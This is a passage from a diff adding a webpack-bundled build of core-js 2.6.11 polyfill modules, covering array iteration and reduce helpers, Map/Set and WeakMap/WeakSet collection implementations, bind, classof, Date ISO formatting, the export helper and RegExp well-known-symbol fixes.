./_ctx */ "./node_modules/core-js/modules/_ctx.js"); +var IObject = __webpack_require__(/*! ./_iobject */ "./node_modules/core-js/modules/_iobject.js"); +var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); +var asc = __webpack_require__(/*! ./_array-species-create */ "./node_modules/core-js/modules/_array-species-create.js"); +module.exports = function (TYPE, $create) { + var IS_MAP = TYPE == 1; + var IS_FILTER = TYPE == 2; + var IS_SOME = TYPE == 3; + var IS_EVERY = TYPE == 4; + var IS_FIND_INDEX = TYPE == 6; + var NO_HOLES = TYPE == 5 || IS_FIND_INDEX; + var create = $create || asc; + return function ($this, callbackfn, that) { + var O = toObject($this); + var self = IObject(O); + var f = ctx(callbackfn, that, 3); + var length = toLength(self.length); + var index = 0; + var result = IS_MAP ? create($this, length) : IS_FILTER ? create($this, 0) : undefined; + var val, res; + for (;length > index; index++) if (NO_HOLES || index in self) { + val = self[index]; + res = f(val, index, O); + if (TYPE) { + if (IS_MAP) result[index] = res; // map + else if (res) switch (TYPE) { + case 3: return true; // some + case 5: return val; // find + case 6: return index; // findIndex + case 2: result.push(val); // filter + } else if (IS_EVERY) return false; // every + } + } + return IS_FIND_INDEX ? -1 : IS_SOME || IS_EVERY ? IS_EVERY : result; + }; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_array-reduce.js": +/*!*******************************************************!*\ + !*** ./node_modules/core-js/modules/_array-reduce.js ***! + \*******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var aFunction = __webpack_require__(/*! ./_a-function */ "./node_modules/core-js/modules/_a-function.js"); +var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js"); +var IObject = __webpack_require__(/*! ./_iobject */ "./node_modules/core-js/modules/_iobject.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); + +module.exports = function (that, callbackfn, aLen, memo, isRight) { + aFunction(callbackfn); + var O = toObject(that); + var self = IObject(O); + var length = toLength(O.length); + var index = isRight ? length - 1 : 0; + var i = isRight ? -1 : 1; + if (aLen < 2) for (;;) { + if (index in self) { + memo = self[index]; + index += i; + break; + } + index += i; + if (isRight ? index < 0 : length <= index) { + throw TypeError('Reduce of empty array with no initial value'); + } + } + for (;isRight ? index >= 0 : length > index; index += i) if (index in self) { + memo = callbackfn(memo, self[index], index, O); + } + return memo; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_array-species-constructor.js": +/*!********************************************************************!*\ + !*** ./node_modules/core-js/modules/_array-species-constructor.js ***! + \********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var isArray = __webpack_require__(/*! ./_is-array */ "./node_modules/core-js/modules/_is-array.js"); +var SPECIES = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('species'); + +module.exports = function (original) { + var C; + if (isArray(original)) { + C = original.constructor; + // cross-realm fallback + if (typeof C == 'function' && (C === Array || isArray(C.prototype))) C = undefined; + if (isObject(C)) { + C = C[SPECIES]; + if (C === null) C = undefined; + } + } return C === undefined ? Array : C; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_array-species-create.js": +/*!***************************************************************!*\ + !*** ./node_modules/core-js/modules/_array-species-create.js ***! + \***************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 9.4.2.3 ArraySpeciesCreate(originalArray, length) +var speciesConstructor = __webpack_require__(/*! ./_array-species-constructor */ "./node_modules/core-js/modules/_array-species-constructor.js"); + +module.exports = function (original, length) { + return new (speciesConstructor(original))(length); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_bind.js": +/*!***********************************************!*\ + !*** ./node_modules/core-js/modules/_bind.js ***! + \***********************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var aFunction = __webpack_require__(/*! ./_a-function */ "./node_modules/core-js/modules/_a-function.js"); +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var invoke = __webpack_require__(/*! ./_invoke */ "./node_modules/core-js/modules/_invoke.js"); +var arraySlice = [].slice; +var factories = {}; + +var construct = function (F, len, args) { + if (!(len in factories)) { + for (var n = [], i = 0; i < len; i++) n[i] = 'a[' + i + ']'; + // eslint-disable-next-line no-new-func + factories[len] = Function('F,a', 'return new F(' + n.join(',') + ')'); + } return factories[len](F, args); +}; + +module.exports = Function.bind || function bind(that /* , ...args */) { + var fn = aFunction(this); + var partArgs = arraySlice.call(arguments, 1); + var bound = function (/* args... */) { + var args = partArgs.concat(arraySlice.call(arguments)); + return this instanceof bound ? construct(fn, args.length, args) : invoke(fn, args, that); + }; + if (isObject(fn.prototype)) bound.prototype = fn.prototype; + return bound; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_classof.js": +/*!**************************************************!*\ + !*** ./node_modules/core-js/modules/_classof.js ***! + \**************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// getting tag from 19.1.3.6 Object.prototype.toString() +var cof = __webpack_require__(/*! ./_cof */ "./node_modules/core-js/modules/_cof.js"); +var TAG = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('toStringTag'); +// ES3 wrong here +var ARG = cof(function () { return arguments; }()) == 'Arguments'; + +// fallback for IE11 Script Access Denied error +var tryGet = function (it, key) { + try { + return it[key]; + } catch (e) { /* empty */ } +}; + +module.exports = function (it) { + var O, T, B; + return it === undefined ? 'Undefined' : it === null ? 'Null' + // @@toStringTag case + : typeof (T = tryGet(O = Object(it), TAG)) == 'string' ? T + // builtinTag case + : ARG ? cof(O) + // ES3 arguments fallback + : (B = cof(O)) == 'Object' && typeof O.callee == 'function' ? 'Arguments' : B; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_cof.js": +/*!**********************************************!*\ + !*** ./node_modules/core-js/modules/_cof.js ***! + \**********************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +var toString = {}.toString; + +module.exports = function (it) { + return toString.call(it).slice(8, -1); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_collection-strong.js": +/*!************************************************************!*\ + !*** ./node_modules/core-js/modules/_collection-strong.js ***! + \************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var dP = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js").f; +var create = __webpack_require__(/*! ./_object-create */ "./node_modules/core-js/modules/_object-create.js"); +var redefineAll = __webpack_require__(/*! ./_redefine-all */ "./node_modules/core-js/modules/_redefine-all.js"); +var ctx = __webpack_require__(/*! ./_ctx */ "./node_modules/core-js/modules/_ctx.js"); +var anInstance = __webpack_require__(/*! ./_an-instance */ "./node_modules/core-js/modules/_an-instance.js"); +var forOf = __webpack_require__(/*! ./_for-of */ "./node_modules/core-js/modules/_for-of.js"); +var $iterDefine = __webpack_require__(/*! ./_iter-define */ "./node_modules/core-js/modules/_iter-define.js"); +var step = __webpack_require__(/*! ./_iter-step */ "./node_modules/core-js/modules/_iter-step.js"); +var setSpecies = __webpack_require__(/*! ./_set-species */ "./node_modules/core-js/modules/_set-species.js"); +var DESCRIPTORS = __webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js"); +var fastKey = __webpack_require__(/*! ./_meta */ "./node_modules/core-js/modules/_meta.js").fastKey; +var validate = __webpack_require__(/*! ./_validate-collection */ "./node_modules/core-js/modules/_validate-collection.js"); +var SIZE = DESCRIPTORS ? '_s' : 'size'; + +var getEntry = function (that, key) { + // fast case + var index = fastKey(key); + var entry; + if (index !== 'F') return that._i[index]; + // frozen object case + for (entry = that._f; entry; entry = entry.n) { + if (entry.k == key) return entry; + } +}; + +module.exports = { + getConstructor: function (wrapper, NAME, IS_MAP, ADDER) { + var C = wrapper(function (that, iterable) { + anInstance(that, C, NAME, '_i'); + that._t = NAME; // collection type + that._i = create(null); // index + that._f = undefined; // first entry + that._l = undefined; // last entry + that[SIZE] = 0; // size + if (iterable != undefined) forOf(iterable, IS_MAP, that[ADDER], that); + }); + redefineAll(C.prototype, { + // 23.1.3.1 Map.prototype.clear() + // 23.2.3.2 Set.prototype.clear() + clear: function clear() { + for (var that = validate(this, NAME), data = that._i, entry = that._f; entry; entry = entry.n) { + entry.r = true; + if (entry.p) entry.p = entry.p.n = undefined; + delete data[entry.i]; + } + that._f = that._l = undefined; + that[SIZE] = 0; + }, + // 23.1.3.3 Map.prototype.delete(key) + // 23.2.3.4 Set.prototype.delete(value) + 'delete': function (key) { + var that = validate(this, NAME); + var entry = getEntry(that, key); + if (entry) { + var next = entry.n; + var prev = entry.p; + delete that._i[entry.i]; + entry.r = true; + if (prev) prev.n = next; + if (next) next.p = prev; + if (that._f == entry) that._f = next; + if (that._l == entry) that._l = prev; + that[SIZE]--; + } return !!entry; + }, + // 23.2.3.6 Set.prototype.forEach(callbackfn, thisArg = undefined) + // 23.1.3.5 Map.prototype.forEach(callbackfn, thisArg = undefined) + forEach: function forEach(callbackfn /* , that = undefined */) { + validate(this, NAME); + var f = ctx(callbackfn, arguments.length > 1 ? arguments[1] : undefined, 3); + var entry; + while (entry = entry ? entry.n : this._f) { + f(entry.v, entry.k, this); + // revert to the last existing entry + while (entry && entry.r) entry = entry.p; + } + }, + // 23.1.3.7 Map.prototype.has(key) + // 23.2.3.7 Set.prototype.has(value) + has: function has(key) { + return !!getEntry(validate(this, NAME), key); + } + }); + if (DESCRIPTORS) dP(C.prototype, 'size', { + get: function () { + return validate(this, NAME)[SIZE]; + } + }); + return C; + }, + def: function (that, key, value) { + var entry = getEntry(that, key); + var prev, index; + // change existing entry + if (entry) { + entry.v = value; + // create new entry + } else { + that._l = entry = { + i: index = fastKey(key, true), // <- index + k: key, // <- key + v: value, // <- value + p: prev = that._l, // <- previous entry + n: undefined, // <- next entry + r: false // <- removed + }; + if (!that._f) that._f = entry; + if (prev) prev.n = entry; + that[SIZE]++; + // add to index + if (index !== 'F') that._i[index] = entry; + } return that; + }, + getEntry: getEntry, + setStrong: function (C, NAME, IS_MAP) { + // add .keys, .values, .entries, [@@iterator] + // 23.1.3.4, 23.1.3.8, 23.1.3.11, 23.1.3.12, 23.2.3.5, 23.2.3.8, 23.2.3.10, 23.2.3.11 + $iterDefine(C, NAME, function (iterated, kind) { + this._t = validate(iterated, NAME); // target + this._k = kind; // kind + this._l = undefined; // previous + }, function () { + var that = this; + var kind = that._k; + var entry = that._l; + // revert to the last existing entry + while (entry && entry.r) entry = entry.p; + // get next entry + if (!that._t || !(that._l = entry = entry ? entry.n : that._t._f)) { + // or finish the iteration + that._t = undefined; + return step(1); + } + // return step by kind + if (kind == 'keys') return step(0, entry.k); + if (kind == 'values') return step(0, entry.v); + return step(0, [entry.k, entry.v]); + }, IS_MAP ? 'entries' : 'values', !IS_MAP, true); + + // add [@@species], 23.1.2.2, 23.2.2.2 + setSpecies(NAME); + } +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_collection-weak.js": +/*!**********************************************************!*\ + !*** ./node_modules/core-js/modules/_collection-weak.js ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var redefineAll = __webpack_require__(/*! ./_redefine-all */ "./node_modules/core-js/modules/_redefine-all.js"); +var getWeak = __webpack_require__(/*! ./_meta */ "./node_modules/core-js/modules/_meta.js").getWeak; +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var anInstance = __webpack_require__(/*! ./_an-instance */ "./node_modules/core-js/modules/_an-instance.js"); +var forOf = __webpack_require__(/*! ./_for-of */ "./node_modules/core-js/modules/_for-of.js"); +var createArrayMethod = __webpack_require__(/*! ./_array-methods */ "./node_modules/core-js/modules/_array-methods.js"); +var $has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js"); +var validate = __webpack_require__(/*! ./_validate-collection */ "./node_modules/core-js/modules/_validate-collection.js"); +var arrayFind = createArrayMethod(5); +var arrayFindIndex = createArrayMethod(6); +var id = 0; + +// fallback for uncaught frozen keys +var uncaughtFrozenStore = function (that) { + return that._l || (that._l = new UncaughtFrozenStore()); +}; +var UncaughtFrozenStore = function () { + this.a = []; +}; +var findUncaughtFrozen = function (store, key) { + return arrayFind(store.a, function (it) { + return it[0] === key; + }); +}; +UncaughtFrozenStore.prototype = { + get: function (key) { + var entry = findUncaughtFrozen(this, key); + if (entry) return entry[1]; + }, + has: function (key) { + return !!findUncaughtFrozen(this, key); + }, + set: function (key, value) { + var entry = findUncaughtFrozen(this, key); + if (entry) entry[1] = value; + else this.a.push([key, value]); + }, + 'delete': function (key) { + var index = arrayFindIndex(this.a, function (it) { + return it[0] === key; + }); + if (~index) this.a.splice(index, 1); + return !!~index; + } +}; + +module.exports = { + getConstructor: function (wrapper, NAME, IS_MAP, ADDER) { + var C = wrapper(function (that, iterable) { + anInstance(that, C, NAME, '_i'); + that._t = NAME; // collection type + that._i = id++; // collection id + that._l = undefined; // leak store for uncaught frozen objects + if (iterable != undefined) forOf(iterable, IS_MAP, that[ADDER], that); + }); + redefineAll(C.prototype, { + // 23.3.3.2 WeakMap.prototype.delete(key) + // 23.4.3.3 WeakSet.prototype.delete(value) + 'delete': function (key) { + if (!isObject(key)) return false; + var data = getWeak(key); + if (data === true) return uncaughtFrozenStore(validate(this, NAME))['delete'](key); + return data && $has(data, this._i) && delete data[this._i]; + }, + // 23.3.3.4 WeakMap.prototype.has(key) + // 23.4.3.4 WeakSet.prototype.has(value) + has: function has(key) { + if (!isObject(key)) return false; + var data = getWeak(key); + if (data === true) return uncaughtFrozenStore(validate(this, NAME)).has(key); + return data && $has(data, this._i); + } + }); + return C; + }, + def: function (that, key, value) { + var data = getWeak(anObject(key), true); + if (data === true) uncaughtFrozenStore(that).set(key, value); + else data[that._i] = value; + return that; + }, + ufstore: uncaughtFrozenStore +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_collection.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_collection.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var global = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js"); +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var redefine = __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js"); +var redefineAll = __webpack_require__(/*! ./_redefine-all */ "./node_modules/core-js/modules/_redefine-all.js"); +var meta = __webpack_require__(/*! ./_meta */ "./node_modules/core-js/modules/_meta.js"); +var forOf = __webpack_require__(/*! ./_for-of */ "./node_modules/core-js/modules/_for-of.js"); +var anInstance = __webpack_require__(/*! ./_an-instance */ "./node_modules/core-js/modules/_an-instance.js"); +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var fails = __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js"); +var $iterDetect = __webpack_require__(/*! ./_iter-detect */ "./node_modules/core-js/modules/_iter-detect.js"); +var setToStringTag = __webpack_require__(/*! ./_set-to-string-tag */ "./node_modules/core-js/modules/_set-to-string-tag.js"); +var inheritIfRequired = __webpack_require__(/*! ./_inherit-if-required */ "./node_modules/core-js/modules/_inherit-if-required.js"); + +module.exports = function (NAME, wrapper, methods, common, IS_MAP, IS_WEAK) { + var Base = global[NAME]; + var C = Base; + var ADDER = IS_MAP ? 'set' : 'add'; + var proto = C && C.prototype; + var O = {}; + var fixMethod = function (KEY) { + var fn = proto[KEY]; + redefine(proto, KEY, + KEY == 'delete' ? function (a) { + return IS_WEAK && !isObject(a) ? false : fn.call(this, a === 0 ? 0 : a); + } : KEY == 'has' ? function has(a) { + return IS_WEAK && !isObject(a) ? false : fn.call(this, a === 0 ? 0 : a); + } : KEY == 'get' ? function get(a) { + return IS_WEAK && !isObject(a) ? undefined : fn.call(this, a === 0 ? 0 : a); + } : KEY == 'add' ? function add(a) { fn.call(this, a === 0 ? 0 : a); return this; } + : function set(a, b) { fn.call(this, a === 0 ? 0 : a, b); return this; } + ); + }; + if (typeof C != 'function' || !(IS_WEAK || proto.forEach && !fails(function () { + new C().entries().next(); + }))) { + // create collection constructor + C = common.getConstructor(wrapper, NAME, IS_MAP, ADDER); + redefineAll(C.prototype, methods); + meta.NEED = true; + } else { + var instance = new C(); + // early implementations not supports chaining + var HASNT_CHAINING = instance[ADDER](IS_WEAK ? {} : -0, 1) != instance; + // V8 ~ Chromium 40- weak-collections throws on primitives, but should return false + var THROWS_ON_PRIMITIVES = fails(function () { instance.has(1); }); + // most early implementations doesn't supports iterables, most modern - not close it correctly + var ACCEPT_ITERABLES = $iterDetect(function (iter) { new C(iter); }); // eslint-disable-line no-new + // for early implementations -0 and +0 not the same + var BUGGY_ZERO = !IS_WEAK && fails(function () { + // V8 ~ Chromium 42- fails only with 5+ elements + var $instance = new C(); + var index = 5; + while (index--) $instance[ADDER](index, index); + return !$instance.has(-0); + }); + if (!ACCEPT_ITERABLES) { + C = wrapper(function (target, iterable) { + anInstance(target, C, NAME); + var that = inheritIfRequired(new Base(), target, C); + if (iterable != undefined) forOf(iterable, IS_MAP, that[ADDER], that); + return that; + }); + C.prototype = proto; + proto.constructor = C; + } + if (THROWS_ON_PRIMITIVES || BUGGY_ZERO) { + fixMethod('delete'); + fixMethod('has'); + IS_MAP && fixMethod('get'); + } + if (BUGGY_ZERO || HASNT_CHAINING) fixMethod(ADDER); + // weak collections should not contains .clear method + if (IS_WEAK && proto.clear) delete proto.clear; + } + + setToStringTag(C, NAME); + + O[NAME] = C; + $export($export.G + $export.W + $export.F * (C != Base), O); + + if (!IS_WEAK) common.setStrong(C, NAME, IS_MAP); + + return C; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_core.js": +/*!***********************************************!*\ + !*** ./node_modules/core-js/modules/_core.js ***! + \***********************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +var core = module.exports = { version: '2.6.11' }; +if (typeof __e == 'number') __e = core; // eslint-disable-line no-undef + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_create-property.js": +/*!**********************************************************!*\ + !*** ./node_modules/core-js/modules/_create-property.js ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $defineProperty = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js"); +var createDesc = __webpack_require__(/*! ./_property-desc */ "./node_modules/core-js/modules/_property-desc.js"); + +module.exports = function (object, index, value) { + if (index in object) $defineProperty.f(object, index, createDesc(0, value)); + else object[index] = value; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_ctx.js": +/*!**********************************************!*\ + !*** ./node_modules/core-js/modules/_ctx.js ***! + \**********************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// optional / simple context binding +var aFunction = __webpack_require__(/*! ./_a-function */ "./node_modules/core-js/modules/_a-function.js"); +module.exports = function (fn, that, length) { + aFunction(fn); + if (that === undefined) return fn; + switch (length) { + case 1: return function (a) { + return fn.call(that, a); + }; + case 2: return function (a, b) { + return fn.call(that, a, b); + }; + case 3: return function (a, b, c) { + return fn.call(that, a, b, c); + }; + } + return function (/* ...args */) { + return fn.apply(that, arguments); + }; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_date-to-iso-string.js": +/*!*************************************************************!*\ + !*** ./node_modules/core-js/modules/_date-to-iso-string.js ***! + \*************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// 20.3.4.36 / 15.9.5.43 Date.prototype.toISOString() +var fails = __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js"); +var getTime = Date.prototype.getTime; +var $toISOString = Date.prototype.toISOString; + +var lz = function (num) { + return num > 9 ? num : '0' + num; +}; + +// PhantomJS / old WebKit has a broken implementations +module.exports = (fails(function () { + return $toISOString.call(new Date(-5e13 - 1)) != '0385-07-25T07:06:39.999Z'; +}) || !fails(function () { + $toISOString.call(new Date(NaN)); +})) ? function toISOString() { + if (!isFinite(getTime.call(this))) throw RangeError('Invalid time value'); + var d = this; + var y = d.getUTCFullYear(); + var m = d.getUTCMilliseconds(); + var s = y < 0 ? '-' : y > 9999 ? '+' : ''; + return s + ('00000' + Math.abs(y)).slice(s ? -6 : -4) + + '-' + lz(d.getUTCMonth() + 1) + '-' + lz(d.getUTCDate()) + + 'T' + lz(d.getUTCHours()) + ':' + lz(d.getUTCMinutes()) + + ':' + lz(d.getUTCSeconds()) + '.' + (m > 99 ? m : '0' + lz(m)) + 'Z'; +} : $toISOString; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_date-to-primitive.js": +/*!************************************************************!*\ + !*** ./node_modules/core-js/modules/_date-to-primitive.js ***! + \************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var toPrimitive = __webpack_require__(/*! ./_to-primitive */ "./node_modules/core-js/modules/_to-primitive.js"); +var NUMBER = 'number'; + +module.exports = function (hint) { + if (hint !== 'string' && hint !== NUMBER && hint !== 'default') throw TypeError('Incorrect hint'); + return toPrimitive(anObject(this), hint != NUMBER); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_defined.js": +/*!**************************************************!*\ + !*** ./node_modules/core-js/modules/_defined.js ***! + \**************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// 7.2.1 RequireObjectCoercible(argument) +module.exports = function (it) { + if (it == undefined) throw TypeError("Can't call method on " + it); + return it; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_descriptors.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_descriptors.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// Thank's IE8 for his funny defineProperty +module.exports = !__webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () { + return Object.defineProperty({}, 'a', { get: function () { return 7; } }).a != 7; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_dom-create.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_dom-create.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var document = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js").document; +// typeof document.createElement is 'object' in old IE +var is = isObject(document) && isObject(document.createElement); +module.exports = function (it) { + return is ? document.createElement(it) : {}; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_enum-bug-keys.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/_enum-bug-keys.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// IE 8- don't enum bug keys +module.exports = ( + 'constructor,hasOwnProperty,isPrototypeOf,propertyIsEnumerable,toLocaleString,toString,valueOf' +).split(','); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_enum-keys.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_enum-keys.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// all enumerable object keys, includes symbols +var getKeys = __webpack_require__(/*! ./_object-keys */ "./node_modules/core-js/modules/_object-keys.js"); +var gOPS = __webpack_require__(/*! ./_object-gops */ "./node_modules/core-js/modules/_object-gops.js"); +var pIE = __webpack_require__(/*! ./_object-pie */ "./node_modules/core-js/modules/_object-pie.js"); +module.exports = function (it) { + var result = getKeys(it); + var getSymbols = gOPS.f; + if (getSymbols) { + var symbols = getSymbols(it); + var isEnum = pIE.f; + var i = 0; + var key; + while (symbols.length > i) if (isEnum.call(it, key = symbols[i++])) result.push(key); + } return result; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_export.js": +/*!*************************************************!*\ + !*** ./node_modules/core-js/modules/_export.js ***! + \*************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var global = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js"); +var core = __webpack_require__(/*! ./_core */ "./node_modules/core-js/modules/_core.js"); +var hide = __webpack_require__(/*! ./_hide */ "./node_modules/core-js/modules/_hide.js"); +var redefine = __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js"); +var ctx = __webpack_require__(/*! ./_ctx */ "./node_modules/core-js/modules/_ctx.js"); +var PROTOTYPE = 'prototype'; + +var $export = function (type, name, source) { + var IS_FORCED = type & $export.F; + var IS_GLOBAL = type & $export.G; + var IS_STATIC = type & $export.S; + var IS_PROTO = type & $export.P; + var IS_BIND = type & $export.B; + var target = IS_GLOBAL ? global : IS_STATIC ? global[name] || (global[name] = {}) : (global[name] || {})[PROTOTYPE]; + var exports = IS_GLOBAL ? core : core[name] || (core[name] = {}); + var expProto = exports[PROTOTYPE] || (exports[PROTOTYPE] = {}); + var key, own, out, exp; + if (IS_GLOBAL) source = name; + for (key in source) { + // contains in native + own = !IS_FORCED && target && target[key] !== undefined; + // export native or passed + out = (own ? target : source)[key]; + // bind timers to global for call from export context + exp = IS_BIND && own ? ctx(out, global) : IS_PROTO && typeof out == 'function' ? ctx(Function.call, out) : out; + // extend global + if (target) redefine(target, key, out, type & $export.U); + // export + if (exports[key] != out) hide(exports, key, exp); + if (IS_PROTO && expProto[key] != out) expProto[key] = out; + } +}; +global.core = core; +// type bitmap +$export.F = 1; // forced +$export.G = 2; // global +$export.S = 4; // static +$export.P = 8; // proto +$export.B = 16; // bind +$export.W = 32; // wrap +$export.U = 64; // safe +$export.R = 128; // real proto method for `library` +module.exports = $export; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_fails-is-regexp.js": +/*!**********************************************************!*\ + !*** ./node_modules/core-js/modules/_fails-is-regexp.js ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var MATCH = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('match'); +module.exports = function (KEY) { + var re = /./; + try { + '/./'[KEY](re); + } catch (e) { + try { + re[MATCH] = false; + return !'/./'[KEY](re); + } catch (f) { /* empty */ } + } return true; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_fails.js": +/*!************************************************!*\ + !*** ./node_modules/core-js/modules/_fails.js ***! + \************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = function (exec) { + try { + return !!exec(); + } catch (e) { + return true; + } +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_fix-re-wks.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_fix-re-wks.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +__webpack_require__(/*! ./es6.regexp.exec */ "./node_modules/core-js/modules/es6.regexp.exec.js"); +var redefine = __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js"); +var hide = __webpack_require__(/*! ./_hide */ "./node_modules/core-js/modules/_hide.js"); +var fails = __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js"); +var defined = __webpack_require__(/*! ./_defined */ "./node_modules/core-js/modules/_defined.js"); +var wks = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js"); +var regexpExec = __webpack_require__(/*! ./_regexp-exec */ "./node_modules/core-js/modules/_regexp-exec.js"); + +var SPECIES = wks('species'); + +var REPLACE_SUPPORTS_NAMED_GROUPS = !fails(function () { + // #replace needs built-in support for named groups. + // #match works fine because it just return the exec results, even if it has + // a "grops" property. + var re = /./; + re.exec = function () { + var result = []; + result.groups = { a: '7' }; + return result; + }; + return ''.replace(re, '$') !== '7'; +}); + +var SPLIT_WORKS_WITH_OVERWRITTEN_EXEC = (function () { + // Chrome 51 has a buggy "split" implementation when RegExp#exec !== nativeExec + var re = /(?:)/; + var originalExec = re.exec; + re.exec = function () { return originalExec.apply(this, arguments); }; + var result = 'ab'.split(re); + return result.length === 2 && result[0] === 'a' && result[1] === 'b'; +})(); + +module.exports = function (KEY, length, exec) { + var SYMBOL = wks(KEY); + + var DELEGATES_TO_SYMBOL = !fails(function () { + // String methods call symbol-named RegEp methods + var O = {}; + O[SYMBOL] = function () { return 7; }; + return ''[KEY](O) != 7; + }); + + var DELEGATES_TO_EXEC = DELEGATES_TO_SYMBOL ? !fails(function () { + // Symbol-named RegExp methods call .exec + var execCalled = false; + var re = /a/; + re.exec = function () { execCalled = true; return null; }; + if (KEY === 'split') { + // RegExp[@@split] doesn't call the regex's exec method, but first creates + // a new one. We need to return the patched regex when creating the new one. + re.constructor = {}; + re.constructor[SPECIES] = function () { return re; }; + } + re[SYMBOL](''); + return !execCalled; + }) : undefined; + + if ( + !DELEGATES_TO_SYMBOL || + !DELEGATES_TO_EXEC || + (KEY === 'replace' && !REPLACE_SUPPORTS_NAMED_GROUPS) || + (KEY === 'split' && !SPLIT_WORKS_WITH_OVERWRITTEN_EXEC) + ) { + var nativeRegExpMethod = /./[SYMBOL]; + var fns = exec( + defined, + SYMBOL, + ''[KEY], + function maybeCallNative(nativeMethod, regexp, str, arg2, forceStringMethod) { + if 